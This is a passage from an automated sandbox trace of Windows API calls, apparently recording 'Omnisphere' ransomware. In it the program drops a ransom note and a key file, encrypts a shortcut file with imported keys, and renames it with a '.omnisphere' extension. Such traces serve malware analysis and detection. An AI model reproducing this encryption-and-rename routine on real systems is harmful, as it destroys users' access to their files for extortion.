pszDest=0x16d9788, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.117] GetProcessHeap () returned 0x1600000 [0127.117] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e4f68 [0127.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.118] WriteFile (in: hFile=0x28c, lpBuffer=0x16e4f68*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e4f68*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.118] CloseHandle (hObject=0x28c) returned 1 [0127.118] GetProcessHeap () returned 0x1600000 [0127.118] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f18b8 | out: hHeap=0x1600000) returned 1 [0127.118] GetProcessHeap () returned 0x1600000 [0127.118] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.118] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.118] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.118] CloseHandle (hObject=0x28c) returned 1 [0127.119] GetProcessHeap () returned 0x1600000 [0127.119] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.119] GetProcessHeap () returned 0x1600000 [0127.119] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b448 | out: hHeap=0x1600000) returned 1 [0127.119] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2052580a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2052580a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2052580a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x445, dwReserved0=0x0, dwReserved1=0xd3, cFileName="udic.lnk", cAlternateFileName="")) returned 1 [0127.119] GetProcessHeap () returned 0x1600000 [0127.119] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x167b8a8 [0127.119] PathCombineW (in: pszDest=0x167b8a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="udic.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\udic.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\udic.lnk" [0127.119] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.119] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\udic.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\udic.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.119] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1093) returned 1 [0127.119] GetTickCount () returned 0x115fb83 [0127.119] GetTickCount () returned 0x115fb83 [0127.119] GetTickCount () returned 0x115fb83 [0127.119] GetTickCount () returned 0x115fb83 [0127.119] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] GetTickCount () returned 0x115fb83 [0127.120] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16691a8) returned 1 [0127.121] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.121] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.121] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.121] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0127.121] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x445, lpName=0x0) returned 0x288 [0127.121] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x445) returned 0x1480000 [0127.121] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0127.122] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0127.122] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.122] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.122] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.122] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.122] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.122] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.122] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.122] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.122] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.122] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.122] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.122] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.122] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.123] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.124] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.125] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.125] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.125] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.125] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.125] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.125] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.125] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.125] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.125] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.125] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.125] CryptDestroyKey (hKey=0x1639b68) returned 1 [0127.125] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0127.125] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x445, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.125] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.125] GetProcessHeap () returned 0x1600000 [0127.125] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16f06b8 [0127.125] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\udic.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\udic.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\udic.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\udic.lnk.omnisphere")) returned 1 [0127.126] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\udic.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\udic.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\udic.lnk.omnisphere.id" [0127.126] CreateFileW 